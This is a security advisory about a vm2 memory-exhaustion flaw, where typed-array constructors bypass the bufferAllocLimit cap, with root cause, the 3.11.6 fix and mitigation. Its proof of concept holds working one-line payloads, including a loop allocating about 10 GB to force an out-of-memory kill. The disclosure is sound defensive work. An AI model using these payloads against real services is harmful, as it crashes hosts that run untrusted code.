vm2 Memory Exhaustion DoS via ArrayBuffer bufferAllocLimit Bypass
Sandboxed code in vm2 can exhaust host process memory and trigger an OOM crash by using ArrayBuffer or TypedArray constructors, bypassing the bufferAllocLimit cap that was supposed to prevent exactly…

The problem
vm2 3.11.0 introduced bufferAllocLimit to cap Buffer.alloc and related calls. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit(), but only for the Buffer family.
ArrayBuffer, SharedArrayBuffer, and every TypedArray constructor (Uint8Array, Float64Array, etc.) were never intercepted. They allocate host RSS through the same V8/libuv C++ path (v8::ArrayBuffer::NewBackingStore → calloc/malloc) and are completely uncapped.
A single synchronous call with a large size argument exhausts host memory before vm2's timeout can fire, killing the process in constrained environments like Docker or Lambda.
Proof of concept
A working proof-of-concept for this issue in vm2, with the exact payload below.
const { VM } = require('vm2');
// Operator believes they have DoS protection:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10 MB cap
// Buffer.alloc IS blocked as intended:
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch (e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"
// These bypass the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1 GB allocated
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1 GB allocated
vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1 GB allocated
vm.run('new Float64Array(128 * 1024 * 1024)'); // 1 GB allocated
// OOM kill in constrained environments:
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10 GB allocated → host process OOM killedThe root cause is CWE-770: the checkBufferAllocLimit guard in setup-sandbox.js (lines 353-359) only wraps the Buffer constructor family. ArrayBuffer and TypedArray constructors are sandbox-realm V8 intrinsics that bypass that wrapper entirely.
The 3.11.6 patch extends interception to these constructors: it wraps ArrayBuffer, SharedArrayBuffer, and the full TypedArray set with the same checkBufferAllocLimit() call, so any allocation request above the configured limit throws a VMError before C++ memory is touched.
Because the allocation is synchronous C++ (v8::ArrayBuffer::NewBackingStore), vm2's async timeout option cannot interrupt it, making the impact immediate and the attack trivially reproducible in one line of sandboxed code.
The fix
Upgrade to vm2 3.11.6. The patch adds checkBufferAllocLimit coverage for ArrayBuffer, SharedArrayBuffer, and all TypedArray constructors in lib/setup-sandbox.js. Setting bufferAllocLimit to a sane value (e.g. 10 * 1024 * 1024 for 10 MB) is now sufficient to block this bypass.
If you cannot upgrade immediately, remove all user-controlled code execution through vm2 until you can.
Related research
- highCVE-2026-47683CVE-2026-47683: vm2 bufferAllocLimit DoS Bypass via Buffer.concat and Buffer.from
- critical · 9.9CVE-2026-47686CVE-2026-47686: vm2 Missing Error.cause Sanitization Sandbox Escape to RCE
- critical · 9.8CVE-2026-47698CVE-2026-47698: vm2 Sandbox Breakout via Indirect Call Proto Mutation
- critical · 10vm2: NodeVM builtin wildcard exposes os and dns host-process read/write primitives